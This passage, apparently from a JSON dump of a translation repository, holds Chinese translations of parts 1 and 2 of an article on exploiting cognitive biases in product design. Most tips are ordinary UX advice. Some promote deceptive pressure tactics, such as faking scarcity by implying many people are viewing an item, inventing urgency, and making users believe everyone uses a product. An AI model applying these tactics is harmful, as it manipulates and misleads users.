以及我们如何使用区块链来改进个人医药研究，访问我们的[网站](https://mycoralhealth.com/)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/collection-cognitive-biases-how-to-use-1.md",
    "content": "> * 原文地址：[84 cognitive biases you should exploit to design better products](https://www.mobilespoon.net/2019/04/collection-cognitive-biases-how-to-use.html)\n> * 原文作者：[@gilbouhnick](https://twitter.com/GilBouhnick)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md)\n> * 译者：[江五渣](http://jalan.space)\n> * 校对者：[mymmon](https://github.com/mymmon)，[shinichi4849](https://github.com/shinichi4849)\n\n# 利用 84 种认知偏见设计更好的产品 —— 第一部分\n\n![](https://2.bp.blogspot.com/-JvOvFjdlVfE/XMhvVVa0R4I/AAAAAAAAPrM/KaVBcSKDdPgb1PLug4TlVOx07uY6YHShQCLcBGAs/s640/Cognitive%2Bbiases.png)\n\n这可能是 15 年来我博客中最长的文章，也是我过去几个月偶然创作的结果。\n\n**认知偏见**是我们思维过程中的系统性错误，它会影响我们的决策。\n\n作为人类，我们并不总是能看到或记住事物的本来面目。因此，我们创造了自己的主观社会现实，这影响了我们的判断。\n\n> 作为**产品人**，我们**应该**利用这些偏见来创造更好的产品。\n\n这当然不是一件坏事，而是让我们有机会证明我们产品的价值。产品可以利用常见的认知偏见与用户建立信任，提高转化率和用户参与度，从而提高用户保留率。\n\n归根结底，就算一切都包装上，一个产品百分百如实简明的特征不足以说服用户去尝试使用其新功能。\n\n用户需要的不止于此，这正是**认知偏见**可以（也应该）使用的地方。\n\n现在，我必须提醒你：这个清单太长了。它包括超过 80 种不同的偏见 —— 从我们需要**避免**的偏见到我们可以**利用**的偏见，通过这些偏见来优化产品引流过程，提高转化率和保留率，并创造更多的收益。\n\n幸运的是，我创建了 40 多个可视化 UI/UX 示例来方便你的阅读。可别谢我！这是我该做的……\n\n### 谁需要阅读这个清单？\n\n我相信**产品经理**、**市场经理**和**企业家**会发现这个清单与自己的工作息息相关且非常有用。但事实上，任何从事**软件开发**的人都可能会在这个清单中发现一些相关的内容。它可以帮助所有相关人员了解用户行为背后的用户心理，以及如何利用用户心理来构建更好的产品。\n\n哦，先说清楚，我没有发明这些偏见，我只是在工作需要时收集它们，如果你恰好不同意其中的一些观点，或者认为它们不起作用，那可能因为你与众不同（或者你可能会受到下文描述的达克效应的影响 😉）。\n\n好吧，这是一个相当长的开场白。我们开始吧：\n\n## 我们肤浅吗？\n\n信息的呈现方式非常影响我们的思考和决策。\n\n当然，我们说我们并不肤浅，但一聊起产品，我们依旧认为包装非常重要。\n\n### 1. 路灯效应\n\n我们倾向于寻找最容易看到的东西。\n\n如同一则笑话里所说：一个警察看到一个醉汉在路灯下寻找他的钱包，问道：“这就是你丢钱包的地方吗？”，醉汉回答：“不，我把它丢在公园里了，但这里有灯光。”\n\n**产品技巧**：无论你在寻找什么答案：产品、营销、用户满意度或其他任何东西，都要深入挖掘。许多答案并不在“光”所在之处，分析数据往往比收集数据要困难得多。\n\n### 2. 感知价值偏见\n\n我们根据产品、服务的外观或服务方式来感知其价值。\n\n正如他们所说：一切都在包装中！\n\n**产品技巧**：设计对于产品成功的重要性超乎你的想象。多余的空白、不合适的边框颜色和错位的文本 —— 这些都会影响你的转化率。\n\n优先考虑你的 UI 设计。\n\n![感知价值偏见 —— 我们根据产品或服务的外观来感知其价值](https://alexdenk.eu/blogtouch?id=1pmZD59AgSE4oMG0lffF4T2X_zvYhwB54 \"感知价值偏见 —— 我们根据产品或服务的外观来感知其价值\")\n\nUI 的细微改动会产生巨大的影响。\n\n### 3. 图优效应\n\n图片和形象比长篇大论更容易被记住。\n\n**UI 技巧**：始终在内容中包含图像。如果你销售产品或服务 —— 出色的视觉效果将提高你的转化率。\n\n### 4. 雷斯多夫效应（隔离效应）\n\n当多个同类物品一起呈现时，与众不同的那个物品更容易被记住。\n\n**设计技巧**：确保行为召唤按钮使用不同的样式、大小、颜色和位置。\n\n![雷斯多夫效应 —— 确保你的行为召唤按钮突出显示](https://alexdenk.eu/blogtouch?id=1EgHJ7W7O6bSIQihEHweO8Mp5IjI7a1gZ \"雷斯多夫效应 —— 确保你的行为召唤按钮突出显示\")\n\n确保你的行为召唤按钮突出显示\n\n## 我们比想象中更保守\n\n我们说自己是创新的，我们喜欢尝试新的技术，但当涉及到本能和快速决策时 —— 我们会倾向于选择低风险、已熟知的方式。\n\n### 5. 现状偏差\n\n比起改变，我们倾向于保持现状。\n\n将当前的基准线作为参考点，与该基准线相比的任何变化都被视为一种损失。\n\n### 6. 禀赋效应\n\n一旦我们拥有了某样东西，我们就会比拥有它之前更加珍惜它。\n\n因此，面对同一个物品，我们倾向于继续保留已有的，而非再获取一个不属于我们的。\n\n产品技巧：免费试用是禀赋效应最常见的用途。\n\n一旦用户专注于某一产品并投入时间（例如建立他们的个人资料等），他们就很难在试用期结束后收手。\n\n**拉新技巧**：在用户注册前，让用户找到使用产品的方法。\n\n**留存技巧**：当用户离开时，展示他们将失去的所有好处。\n\n### 7. 宜家效应\n\n我们对我们创造（或付出努力）的产品给予了过高的价值。\n\n**产品技巧**：让你的用户在引导流程中做点什么（不要太难，而且要给予相应的奖励），这样他们就可以和你的产品建立起联系。\n\n### 8. 多看效应 (熟悉定律)\n\n我们倾向于偏爱我们熟悉的事物。\n\n**UI 技巧**：坚持使用用户熟悉的 UI 概念、行为、术语、符号和图标。\n\n在营销材料、网站和产品上保持一致来优化漏斗。\n\n**用户体验设计技巧**：用词保持和行业术语一致。确保你的用户感到舒适。\n\n![多看效应 —— 坚持 UI 标准](https://alexdenk.eu/blogtouch?id=1EPMg0K3076dsm2utSSKlAa4wMT-ig6H- \"多看效应 —— 坚持 UI 标准\")\n\n坚持标准\n\n### 9. 功能定势\n\n我们倾向于用传统的方式使用事物。\n\n**可用性技巧**：当你的产品尝试打破现有的使用方式时 —— 它的可用性会面临一些挑战。将它们牢记在心，并尝试提前解决。\n\n### 10. 工具规律（马斯洛的锤子）\n\n我们倾向于过度依赖我们熟悉的工具，即使我们有更好的选择。\n\n俗话说得好：“对于一个拿着锤子的人来说，一切都像是钉子。”\n\n![对于一个拿着锤子的人来说 —— 一切都像是钉子](https://alexdenk.eu/blogtouch?id=1NY8VZMcyZ9YBywLokF0wGnudItR-ZF_a \"对于一个拿着锤子的人来说 —— 一切都像是钉子\")\n\n## 别叫我失败者\n\n与其说我们喜欢成功，不如说我们讨厌失败。恰当的提示（出现在合适的时间）可能会激起这种反感的情绪，促使我们做出有偏见的决定。\n\n### 11. 损失规避\n\n比起赢得 100 美元，我们更不愿意失去 100 美元。因为所失去东西的价值高于得到它的价值（这与上述的禀赋效应非常一致）。\n\n**用户体验设计小窍门**：使用负面词语来表达潜在的损失：“不要浪费钱”。\n\n**产品小窍门**：给你的特殊优惠加上限制 (在产品内外) 来制造紧迫感：“这个独家优惠将在 x 小时后结束”。\n\n![损失规避 —— 帮助你的用户规避损失](https://alexdenk.eu/blogtouch?id=1-mEYTiDKektNhEGo5lOvz1w9oKrXYyoD \"损失规避 —— 帮助你的用户规避损失\")\n\n帮助你的用户规避损失\n\n### 12. 零风险偏误\n\n哪怕事与愿违，我们也还是青睐确定的事。\n\n**产品技巧**：提供退款保证和无风险试用来降低风险，让你的用户感到安全。\n\n![零风险偏误 —— 确保所有可能的问题都能得到妥善解决](https://alexdenk.eu/blogtouch?id=1pCFDq4W6nO7hR7HuCx9mIvqPiqu3y3Hm \"零风险偏误 —— 确保所有可能的问题都能得到妥善解决\")\n\n确保所有可能的问题都能得到妥善解决\n\n### 13. 忽略可能性\n\n当我们面临压力时，我们无法考虑风险发生的可能性。\n\n因此，小风险可能会被高估或忽视。\n\n**产品规则**：在转化漏斗中 —— 哪怕是一丁点的不确定性都可能导致用户不信任你的产品，从而停止使用。确保所有细节都清晰可见。\n\n尤其是那些涉及金钱的信息细节，例如总成本、折扣（如果存在）、附加成本。\n\n![忽略可能性 —— 确保从你的产品中移除不确定性](https://alexdenk.eu/blogtouch?id=1tN2psH2vXjV6zgWBEjMouOFSi_A-ikxX \"忽略可能性 —— 确保从你的产品中移除不确定性\")\n\n清除不确定性\n\n阅读：[创造真正移动体验的 7 个要素](https://www.mobilespoon.net/2019/03/7-unique-ingredients-mobile-app.html)\n\n### 14. 稀缺效应\n\n物以少者为贵，多者为贱。\n\n错失恐惧症（FOMO）会让我们更容易受到诱惑和冲动的影响，迫使我们匆忙做出决定。\n\n**产品技巧**：用“限时优惠”、“数量有限”来装饰你的产品和服务。\n\n给人留下这样的印象：很多人都“正在！“盯着这个东西，并且随时都会买走最后剩下的物品。\n\n![在 UI 上制造稀缺效应](https://alexdenk.eu/blogtouch?id=15rOsh1pZOJQE_4Wb4LKFVxARJdwUpO7x \"在 UI 上制造稀缺效应\")\n\n或者，正如 Booking.com 可能会使用的那样：\n\n![稀缺效应 —— 激进的方法（可以在著名酒店的预订应用程序中看到）](https://alexdenk.eu/blogtouch?id=1UmHrLdiyYGZhzvKGIw_etlOB-qAzveol \"稀缺效应 —— 激进的方法（可以在著名酒店的预订应用程序中看到）\")\n\n### 15. 反事实思维\n\n我们根据从心理上想象事件的容易程度来确定事件发生的可能性。因此，“未遂事件”比其他失败更令人失望。\n\n**产品技巧**：当用户在你的产品中几乎要完成一个重要的操作、但最终没有完成时，向用户发送“你即将达成！”的邮件。让用户知道他们已经非常接近了，机会仍然在等待着他们。\n\n阅读：[当今滚动阅读的文化下还需要“首屏”吗？](https://www.mobilespoon.net/2019/05/fold-still-thing-in-todays-scrolling.html)\n\n## 比例过大的情绪化\n\n我们试图做出理性的决定，但有时我们的情绪比我们想象的更加强烈。\n\n### 16. 负面偏差\n\n比起好的经历，我们更重视糟糕的经历。\n\n1 负面情绪 = 3 x 积极情绪\n\n![负面偏差: 1 个负面情绪等于 3 个积极情绪](https://alexdenk.eu/blogtouch?id=1I8QoTHbfkB8tgLa0WMI1NRZpYM5hcZaF \"负面偏差: 1 个负面情绪等于 3 个积极情绪\")\n\n**产品/营销技巧**：通过解决负面情绪来体现产品的价值。\n\n如果希望你的故事能产生影响，甚至像病毒一样传播开来 —— 尝试写一些负面情绪的内容。\n\n![负面偏差 —— 通过强调其解决的负面体验来说明产品的价值。](https://alexdenk.eu/blogtouch?id=18_tQrUfk6v_Q6Y3IY4QrIfIvraHYRrXP \"负面偏差 —— 通过强调其解决的负面体验来说明产品的价值。\")\n\n通过强调其解决的负面体验来说明产品的价值\n\n### 17. 基本比率谬误（基本比率忽视）\n\n我们倾向于忽略一般信息并专注于具体案例。\n\n使用方法：不要只分享那些冷冰冰的产品信息。相反地，展示其他相关用户或公司的评价、用例。\n\n**与工作相关的技巧**：如果你想更具有说服力 —— 把你的量化数据和一些个人故事相结合。用量化数据合理地支持你的观点。具体的例子会在情感上传递你想表达的信息。\n\n> 如果你想更具有说服力 —— 把你的量化数据和一些个人故事相结合。用量化数据合理地支持你的观点。具体的例子会在情感上传递你想表达的信息。\n\n### 18. 可辨识受害者效应\n\n我们更倾向于同情一个特定的人，而不是一个庞大的匿名群体。\n\n**如何使用它**：当你讲述产品故事时，使用个人的故事而不要用官方的陈述。\n\n![可辨识受害者效应 —— 使用个人的故事而不要用官方的陈述。](https://alexdenk.eu/blogtouch?id=1NZQMHBv_55MqCmi9ggDqCaLkDd31umgW \"可辨识受害者效应 —— 使用个人的故事而不要用官方的陈述。\")\n\n使用个人的故事而不要用官方的陈述\n\n### 19. 亲和力效应\n\n我们喜欢那些和我们拥有相同喜好的人。\n\n举个例子，如果你告诉我你是变形金刚迷 —— 我会立刻把你当作朋友。\n\n**营销技巧**：通过使用与其他潜在客户面临类似问题的客户推荐来展现产品的优势。\n\n确保使用客户的真实语言 —— 用他们自己的话来表达。\n\n### 20. 聚焦效应\n\n我们把过去的事情看得太重要，并将它们转变为对未来的期望。\n\n### 21. 影响力偏差\n\n我们倾向于高估未来情绪状态的持续时间或强度。\n\n这是“我永远无法忘了她！”的偏见。\n\n**可能的用法**：描绘在没有你的产品或服务下用户会遭遇的问题，然后，介绍你的产品会如何解决这些问题。\n\n阅读：[在移动应用程序中设计和编写文本的 40 条规则](https://www.mobilespoon.net/2018/11/ux-writing-comprehensive-guide-for.html)\n\n---\n\n> * **[利用 84 种认知偏见设计更好的产品 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md)**\n> * [利用 84 种认知偏见设计更好的产品 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md)\n> * [利用 84 种认知偏见设计更好的产品 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md)\n\n---\n\n在 Twitter 上关注我 [@gilbouhnick](https://twitter.com/GilBouhnick), 或 [订阅我的简报](https://mailchi.mp/b9c664dfafa3/mobilespoon)，可以将帖子直接发送到你的收件箱。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/collection-cognitive-biases-how-to-use-2.md",
    "content": "> * 原文地址：[84 cognitive biases you should exploit to design better products](https://www.mobilespoon.net/2019/04/collection-cognitive-biases-how-to-use.html)\n> * 原文作者：[@gilbouhnick](https://twitter.com/GilBouhnick)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md)\n> * 译者：[江五渣](http://jalan.space)\n> * 校对者：[shinichi4849](https://github.com/shinichi4849)，[Moonliujk](https://github.com/Moonliujk)\n\n# 利用 84 种认知偏见设计更好的产品 —— 第二部分\n\n![](https://2.bp.blogspot.com/-JvOvFjdlVfE/XMhvVVa0R4I/AAAAAAAAPrM/KaVBcSKDdPgb1PLug4TlVOx07uY6YHShQCLcBGAs/s640/Cognitive%2Bbiases.png)\n\n---\n\n> * [利用 84 种认知偏见设计更好的产品 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md)\n> * **[利用 84 种认知偏见设计更好的产品 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md)**\n> * [利用 84 种认知偏见设计更好的产品 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md)\n\n---\n\n## 易被说服\n\n说服的艺术！这里有一些（性价比高的？）技巧可以帮助你更好地传达你的信息。\n\n### 22. 锚定效应\n\n我们常常过分依赖最初获得的讯息（“锚定”）来做出后续的决策。\n\n**如何使用**：书中最老套的把戏是：把一个高的价格作为锚，然后划掉它，在它旁边设定一个更低的价格。\n\n看看史蒂夫·乔布斯在 iPad 发布会上是如何使用它的，我必须问问：它真的有效吗？\n\n![锚定效应 —— 由苹果公司的斯蒂夫·乔布斯在 iPad 发布会上展示](https://alexdenk.eu/blogtouch?id=1hE2NPk3sVnoS3eO1RqMCAltJj9qtDTR2 \"锚定效应 —— 由苹果公司的斯蒂夫·乔布斯在 iPad 发布会上展示\")\n\n史蒂夫·乔布斯展示了锚定效应\n\n然而，这是我对锚定效应的看法：\n\n![锚定效应示例 —— The Mobile Spoon](https://alexdenk.eu/blogtouch?id=1p3CIvG4gYfBNWVzo04dM1K280ABxyah0 \"锚定效应示例 —— The Mobile Spoon\")\n\n产品定价中的锚定效应\n\n### 23. 双曲贴现\n\n我们更喜欢及时的回报（尽管回报很小），而不是更大的后期回报。\n\n**技巧**: 为立即支付提供小额折扣（或免费送货服务），而不是为将来的购买行为提供大额折扣。\n\n![双曲贴现 —— 为立即支付提供小额折扣](https://alexdenk.eu/blogtouch?id=1qjNmi6biEjEB9hP8HexcdV_d410gyVKo \"双曲贴现 —— 为立即支付提供小额折扣\")\n\n为立即支付提供小额折扣\n\n### 24. 社会认同\n\n如果像我们这样的人正在使用它 —— 它一定是好的产品！\n\n这对吗?\n\n**如何使用**：社会认同是建立信任的好方法。以下是一些可以在网站、[应用商店页](http://www.mobilespoon.net/2019/04/lessons-learned-app-store-screenshots.html \"根据从应用商店截图中汲取的经验教训重新设计 —— the mobile spoon\") 中使用的示例：\n\n1. 知名客户标识\n2. 知名合作伙伴标识\n3. 客户的推荐（来自目标受众）\n4. 数据（客户数据、交易数据、会话数据 —— 来自任何工作方式）\n5. 媒体提及和引用（“如……所见”）\n6. 知名机构的赞扬（即 WIRED 最热门创业公司）\n7. 认证\n8. 与实际数字关联的研究案例\n\n![社会认同 —— 使用数据和客户标识建立信任](https://alexdenk.eu/blogtouch?id=1Q9lHYKquIMlrpRXvWohwcC1Rp4-g7kiG \"社会认同 —— 使用数据和客户标识建立信任\")\n\n不要说：“我们太赞了，因为……”，相反地，让别人来证明这一点：\n\n![社会认同 —— 不要说：“我们太赞了，因为……”，相反地，让别人来证明这一点](https://alexdenk.eu/blogtouch?id=1XaHyFHqHFmG-XlW_81CF8ZZlh24iVW7m \"社会认同 —— 不要说：“我们太赞了，因为……”，相反地，让别人来证明这一点\")\n\n### 25. 权威偏差\n\n我们认为权威人士给出的建议准确性更高，并且更容易受到该建议的影响（即使事物主体与该人物的权威性无关）。\n\n**如何使用**：通过宣传产品的知名推荐来建立权威:\n\n1. 联系有影响力的人，让他们免费使用你的产品或服务\n2. 突出显示知名客户或品牌\n3. 展示来自社会名流的推荐语\n4. 在产品展示和陈述中使用权威人物（例如医生、教授等）\n\n![权威偏见 —— 宣传最有力的推荐](https://alexdenk.eu/blogtouch?id=1nU53Zted9Esavdatf_VCeoiAFP1f8ps9 \"权威偏见 —— 宣传最有力的推荐\")\n\n### 26. 从众效应（羊群效应）\n\n我们做某件事的原因经常只是因为“每个人都在做这件事！”（每个人都是生酮饮食者吗？）\n\n我们会根据支持观点人数多寡来改变自己的想法。\n\n**营销技巧**：使人们相信每个人都在使用你的产品，那么更多的人将会使用它。\n\n![从众效应 —— 使人们相信其他人都在使用它](https://alexdenk.eu/blogtouch?id=1eV9oOXnVE-fNunuBH4vryKtwWQinGLoc)\n\n这是在产品中使用从众效应的另一个例子：\n\n![从众效应 —— “最流行”的案例](https://alexdenk.eu/blogtouch?id=1rcPAf96BP_A9YfBa8AdFJJnd4eSRli9r \"从众效应 —— “最流行”的案例\")\n\n“最流行”的案例\n\n### 27. 归属偏差\n\n我们都是社会性动物，为了成为群体的一部分，我们经常像群体内其他成员一样行事。如果所有开发人员都在使用 Slack —— 你可能也应该这样做，对吧？\n\n**模仿技巧**：使用数据，例如客户数量、会话数量、提供的服务次数，来说服群众你的产品是标配。\n\n### 28. 团体偏差\n\n一旦我们成为某个群体中的一部分，我们几乎会“自动”倾向于我们群体中的成员，而不是其他群体中的成员。\n\n群体内的偏袒也意味着我们更经常帮助自己群体内的成员。\n\n![团体偏差](https://alexdenk.eu/blogtouch?id=1f8GJpWMyrUWOlAr1PctUrs-B2BLJlABp \"团体偏差\")\n\n### 29. 非我所创\n\n我们避免使用（或购买）已经存在的产品，因为它们来源于外部，我们更愿意自己发明类似的产品。\n\n举个例子：当你的工程团队倾向于从零开始开发某些东西而不是使用现有产品时。\n\n**管理技巧**：通过赞美你的团队来遏制这一现象。他们的专业知识需要用来开发产品的核心功能，而不能“浪费”在“造轮子”上。\n\n阅读：[在尝试成为数据驱动型公司中学到的 11 个经验教训](https://www.mobilespoon.net/2019/06/11-data-related-lessons-we-learned-hard.html)\n\n### 30. 信念偏差\n\n我们更容易接受一个与我们先前所知知识一致的结论，同时拒绝接受与该结论相悖的论点。\n\n**写作技巧**：当谈论产品好处时，不要夸大其词。\n\n如果好得令人难以置信，人们就会怀疑它的真实性。\n\n### 31. 登门坎效应\n\n当我们与用户通过小的协议建立起联系后，我们更容易与用户在更大的协议上达成一致。\n\n**订阅技巧**：通过提供免费试用与用户建立联系。\n\n**引导流程 UX 设计技巧**：不要用过于复杂的引导流程让用户感到不耐烦。\n\n把大块的内容分解成小块或容易解决的内容，让用户保持开心和参与度。\n\n![登门坎效应 —— 通过创造“小成就”让引导流程变得容易](https://alexdenk.eu/blogtouch?id=1MpxTvnkZoqBD8Wtqy3gx708rpl0axjxa \"登门坎效应 —— 通过创造“小成就”让引导流程变得容易\")\n\n在引导流程中取得小成就\n\n### 32. 多变的奖赏\n\n我们能从意外之礼中收获更多的快乐。\n\n**产品技巧：**用每日优惠、免费奖金、荣誉积分等奖品吸引用户。 \n\n用户每天的“行为”越多，越会觉得自己与产品的联系密切。\n\n![多变的奖赏 —— 用每日优惠、免费奖金、荣誉积分等奖品吸引用户。](https://alexdenk.eu/blogtouch?id=1aNyfch7QCQln-rC_IhxZY077ucAyDX14 \"多变的奖赏 —— 用每日优惠、免费奖金、荣誉积分等奖品吸引用户。\")\n\n用每日优惠、免费奖金、荣誉积分等奖品吸引用户\n\n## 并非我们所想的那么理性\n\n做出理性的选择并不像看上去那么容易。\n\n### 33. 赌徒谬误\n\n我们错误地认为，如果在某一时间段一件事发生的频率高于常态，那么在将来它的发生频率就会降低。\n\n**工作相关技巧**：坚持事实论据。依赖数据而非直觉。\n\n### 34. 确认偏差\n\n我们搜寻和偏爱那些能印证我们最初想法与先入之见的信息。\n\n**问**：你是否反复操作过你的 KPI 报告，从几周到几个月，从几个月再到几个季度，直到找到你想要的结论？\n\n### 35. 不确定偏差\n\n我们倾向于忽视与我们想法相悖的证据。\n\n**问**：你是否曾（在面试中）非常青睐一位候选人，以至于忽略了一些他/她的缺点？\n\n阅读：[从 B2B 到 B2C 的 5 个 产品管理经验](https://www.mobilespoon.net/2018/04/5-things-i-learned-in-transition-from.html)\n\n### 36. 框架效应\n\n我们抉择的过程并非总能如想象中那样理性，我们会受到信息呈现方式的影响（正面与负面框架）。\n\n产品技巧：在大多数情况下，正面框架（即玻璃杯是半满，而非半空）有更高的转化率。\n\n![框架效应 —— 尝试使用“玻璃杯半满”的表达方式来提高转换率](https://alexdenk.eu/blogtouch?id=1Lc6vP6HPyktJ8kk2XaoPVqLQKxiu7LNO \"框架效应 —— 尝试使用“玻璃杯半满”的表达方式来提高转换率\")\n\n正面框架的实践\n\n### 37. 境联效应\n\n我们对事物的感知受到事物呈现或发生时所在场景的影响。\n\n在视觉设计中，人们对物体的颜色或大小的感知因其呈现位置与方式的不同而不同。\n\n![设计中的境联效应](https://alexdenk.eu/blogtouch?id=1HGFPufdKBckl6ADB9QPFEYgrBiq1SBSX \"设计中的境联效应\")\n\n### 38. 选择性知觉\n\n我们对事物的看法很大程度上受到我们期望的影响。\n\n**产品和营销技巧**：产品的转化漏斗并非从用户登录开始，而是从用户第一次看到你的广告时就开始了。\n\n营销信息与产品提供内容之间的不一致会让你的用户大失所望，从而导致转化率的下降。\n\n在所有媒介上（漏斗的各个阶段）的消息一致将为用户带来正确的期望，从而提高转化率。\n\n### 39. 热手谬误\n\n一种错误的观点认为一个经历过成功的人更有机会取得进一步的成功。\n\n**如何使用**：强调一系列成功案例来打造品牌。\n\n![热手谬误 —— 如果阿什顿·库彻投资这家创业公司，那这家公司一定不错，对吧？](https://alexdenk.eu/blogtouch?id=1USmoXr5h3-KqGtaLIoi4XWV6V9MuASsj \"热手谬误 —— 如果阿什顿·库彻投资这家创业公司，那这家公司一定不错，对吧？\")\n\n如果阿什顿·库彻投资这家创业公司，那这家公司一定不错，对吧？\n\n### 40. 期待\n\n期待积极的体验使我们的大脑感到兴奋，这有助于提升我们的幸福感。\n\n**例如**：需要等上几个月的假期往往有更好的体验。提前买好《复仇者联盟·终局之战》的电影票让我们感到兴奋和快乐。\n\n**产品技巧**：通过提前宣布（或发布）你的新产品来创造预期。创造一个积极的话题和一些值得期待的东西，确保你的观众对此感到兴奋。\n\n### 41. 信息偏倚\n\n即使信息无法影响我们的行为，我们也会寻求信息。\n\n**产品技巧**：当展示产品或服务时（在你的网站或在你的产品上）—— 请务必在照片中附上详细说明。你在产品描述中添加的信息越多，你的用户获得的保证就越大。\n\n## 并非我们所说的那样确信\n\n当然，我们在做出决定前做了些研究，我们只是在前行的路上忘记了一些事情，就是这样……\n\n### 42. 获得性启发（获得性偏差）\n\n我们认为那些迅速跃入脑海的事情比那些不容易想起的事情更为常见和重要。因此，最近发生的、频繁发生的、极端的、被记住的事情比大多数信息更有影响力。\n\n**UI 技巧**：通过创建一些与众不同的东西（在不影响一致性和熟悉度的情况下）让你的设计被记住。\n\n![获得性启发（获得性偏差）](https://alexdenk.eu/blogtouch?id=1OPjCDK5T34-JUt-9UcwnMvql4CgLkBP4 \"获得性启发（获得性偏差）\")\n\n### 43. 注意力偏误\n\n在检查所有可能的结果时 —— 我们倾向于关注那些看起来理性而熟悉的，从而忽略了其他影响。\n\n**问**：你是否曾经发布过一项功能，你认为它会带来确切的结果，但却发现它带来了你未能预料到的副作用？\n\n![注意力偏误](https://alexdenk.eu/blogtouch?id=1SKWO5ipZk7aZbiy1pxDIGIoa7SyWx8a8 \"注意力偏误\")\n\n### 44. 流畅性启发\n\n我们认为那些处理速度更快、更流畅、更顺利的事物具有更高的价值。\n\n有时不合逻辑的论点在沟通良好的情况下（由有权威和经验的人提出）也可能会赢得胜利。\n\n![流畅性启发](https://alexdenk.eu/blogtouch?id=1w7igcsMZwzEdFPgPCfrzXnTrlYjZ9p80 \"流畅性启发\")\n\n这里有一个相关术语“**心理捷径**” —— 人们经常使用启发式来做决定，你应该在你的设计中充分利用它们。\n\n**产品技巧：**\n\n1. 为用户提供便利（快捷、简单和易于理解的导航）\n2. 使内容易于浏览（图像，易读的字体）\n3. 创建“心理捷径”，它将吸引用户，促使他们把你的产品作为首选\n4. 提供有意义的默认选项，因为用户会认为你考虑了他们的最大利益，并将尽可能选择默认选项\n5. 添加功能强大的跨产品搜索，以简化特定主题的查找\n\n举例：\n\n下面是为用户提供便利的两个示例，促使他们把你的产品作为首选。\n\n![用户希望产品可以提供现成的默认值](https://alexdenk.eu/blogtouch?id=1VqWeo2F654LMST8Ipcko1KUgNeMmwZ1r \"用户希望产品可以提供现成的默认值\")\n\n用户希望产品可以提供现成的默认值\n\n![产品设计中的流畅性启发 —— 为最近的操作提供简单的快捷方式](https://alexdenk.eu/blogtouch?id=1Wg1I6YLnShB81rgKM2JVQ_L0FYPTwhJw \"产品设计中的流畅性启发 —— 为最近的操作提供简单的快捷方式\")\n\n为最近的操作提供简单的快捷方式\n\n**工作相关技巧**：一定要做好功课：收集足够的数据，写下你的观点并思考如何表达你的观点，在设计上下苦功。\n\n### 45. 谷歌效应（亦名：数码失忆）\n\n我们可以在网上轻松找回遗忘的信息。\n\n**问**：你还记得你最好的朋友或孩子的电话号码吗？\n\n---\n\n> * [利用 84 种认知偏见设计更好的产品 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md)\n> * **[利用 84 种认知偏见设计更好的产品 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md)**\n> * [利用 84 种认知偏见设计更好的产品 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md)\n\n---\n\n在 Twitter 上关注我 [@gilbouhnick](https://twitter.com/GilBouhnick)，或 [订阅我的简报](https://mailchi.mp/b9c664dfafa3/mobilespoon)，可以将帖子直接发送到你的收件箱。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 